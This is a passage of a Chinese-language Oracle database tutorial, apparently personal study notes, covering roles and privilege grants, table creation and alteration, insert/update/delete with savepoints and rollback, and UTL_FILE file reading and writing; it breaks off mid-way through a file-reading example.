<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">5)</span><span style="font-size:10pt;">角色<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">角色即权限的集合，可以把一个角色授予给用户<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">create role myrole;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">创建角色<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">grant create session to myrole;&nbsp;&nbsp; --</span><span style="font-size:10pt;">将创建<span lang="EN-US">session</span>的权限授予<span lang="EN-US">myrole<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">grant myrole to zhangsan;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">授予<span lang="EN-US">zhangsan</span>用户<span lang="EN-US">myrole</span>的角色<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">drop role myrole;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">删除角色<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">--</span><span style="font-size:10pt;">但是有些权限是不能授予给角色的，比如<span lang="EN-US">unlimited tablespace</span>和<span lang="EN-US">any</span>关键字<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">6)</span><span style="font-size:10pt;">、赋予表操作权限<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">grant select,update,insert,delete on TABLENAME to USER;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">例如：<span lang="EN-US">grant select,update,insert,delete on t_zuoer to u_zuoer;<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US" style="font-size:10pt;">&nbsp;</span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span style="font-size:10pt;">开始操作<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">1) </span><span style="font-size:10pt;">把<span lang="EN-US"> connect,resourc</span>权限授予<span lang="EN-US">u_zuoer</span>用户<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">grant connect,resource to u_zuoer;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">或者<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">grant dba to study;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">#</span><span style="font-size:10pt;">表示把<span lang="EN-US"> dba</span>权限授予给 <span lang="EN-US">u_zuoer<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">2) </span><span style="font-size:10pt;">给<span lang="EN-US">u_zuoer</span>空间分配权限<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">alter user u_zuoer quota 50M on zuoer;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US">4</span>、创建数据表<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">conn u_zuoer/123456@localhost/orcl:1521; #</span>切换用户<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">create table t_zuoer(<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; UUID VARCHAR2(99)&nbsp;&nbsp; primary key,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_CHAR CHAR(20) not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_NCHAR NCHAR(20)&nbsp; default '1' check(Z_NCHAR in('1','2')),<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_NVARCHAR2 NVARCHAR2(20) not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_LONG LONG not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_NUMBER NUMBER(20) not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_DATE DATE not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_RAW RAW(20) not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_LONG_RAW RAW(200) not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_BLOB BLOB not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_CLOB CLOB not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_NCLOB NCLOB not null,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp; Z_BFILE BFILE not null<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">);<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">#</span><span style="font-size:10pt;">这个表创建很艰难，<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span style="font-size:10pt;">我一直以为是括号的事，半角和全角的问题，我还关机了，我都以为我<span lang="EN-US">CPU</span>坏了呢，后来无意间发现多了一个逗号。<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<br />
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US">5.</span>创建一个学生表实现增删改查，扩展回滚。<span lang="EN-US"><o:p></o:p></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US" style="font-size:10pt;">1.</span></b><b><span style="font-size:10pt;">创建学生表<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">create table student(<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xh number(4),<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; xm varchar(20),<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sex char(2),<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; birthday date,<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; sal number(7,2)<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">);<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US" style="font-size:10pt;">2.</span></b><b><span style="font-size:10pt;">对表结构的扩展<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">alter table student add (classid number(2)); --</span><span style="font-size:10pt;">添加一个字段<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">alter table student modify(xm varchar(30));&nbsp; --</span><span style="font-size:10pt;">修改字段的类型、长度或者是名字（不能有数据）<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">alter table student drop column sal;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">删除字段<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">rename student to stu;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">修改表名字<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">create table student as select * from stu;&nbsp;&nbsp; --</span><span style="font-size:10pt;">复制表结构及其数据<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">create table s as select * from stu where 1=2;--</span><span style="font-size:10pt;">复制表结构不复制数据<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">drop table stu;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">删除表<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US" style="font-size:10pt;">3.</span></b><b><span style="font-size:10pt;">对数据进行操作<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">insert into student values(1,'zuoer','</span><span style="font-size:10pt;">男<span lang="EN-US">',to_date('1888-08-08','yyyy-mm-dd'),2);<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">--</span><span style="font-size:10pt;">添加数据<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">update student set sex='</span><span style="font-size:10pt;">女<span lang="EN-US">' where xh=1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span>修改数据<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">savepoint aa;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">创建保存点<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">delete from student where xh=1;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">删除数据<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">rollback to aa;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; --</span><span style="font-size:10pt;">回滚<span lang="EN-US"><o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">select * from student;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">SQL&gt; delete from student where xh=1;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">1 row deleted.<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">SQL&gt; select * from student;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">no rows selected<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">SQL&gt; rollback to aa;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">Rollback complete.<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">SQL&gt; select * from student;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;&nbsp;&nbsp; XH XM&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; SEX&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; BIRTHDAY CLASSID<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">---------- ------------------------------ --------- --------- ----------<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;&nbsp;&nbsp; &nbsp;1 zuoer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; </span><span style="font-size:10pt;">女<span lang="EN-US"> &nbsp;&nbsp;&nbsp; 08-AUG-88&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;2<o:p></o:p></span></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US" style="font-size:10pt;">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	三、读写文件以及系统库和表<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<b><span lang="EN-US" style="font-size:14pt;">1.</span></b><b><span style="font-size:14pt;">读写文件<span lang="EN-US"><o:p></o:p></span></span></b> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">1) </span>创建目录<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">create or replace directory TESTFILE as '/data/oracle/test';<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">2) </span>给读写权限<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">grant read,write on directory TESTFILE to u_zuoer;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">3) </span>写文件<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">conn u_zuoer/123456@localhost/orcl:1521; #</span>切换用户<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">DECLARE<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">filehandle utl_file.file_type; --</span>句柄<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">begin<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">filehandle := utl_file.fopen('TESTFILE','hello.txt','w'); --</span>打开文件<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">utl_file.put_line(filehandle,'Hello Oracle!');--</span>写入一行记录<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">utl_file.put_line(filehandle,'Hello World!');<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">utl_file.put_line(filehandle,'zuoer');<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">utl_file.fclose(filehandle);--</span>关闭句柄<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">end;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">/<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">4) </span>读文件<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">set serveroutput on;&nbsp; --</span>打开输出功能<span lang="EN-US"><o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">&nbsp;</span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">declare<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">filehandle utl_file.file_type;<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">fp_buffer varchar2(4000);<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">begin<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">filehandle:= utl_file.fopen ('TESTFILE','hello.txt', 'R');<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">utl_file.get_line (filehandle, fp_buffer );<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">dbms_output.put_line(fp_buffer );<o:p></o:p></span> 
</p>
<p class="MsoNormal" style="margin:0cm 0cm 0.0001pt;font-size:12pt;font-family:宋体;white-space:normal;">
	<span lang="EN-US">utl_file.get_line (filehandle, fp_buffer );<o:p></o:p></span> 
</p>
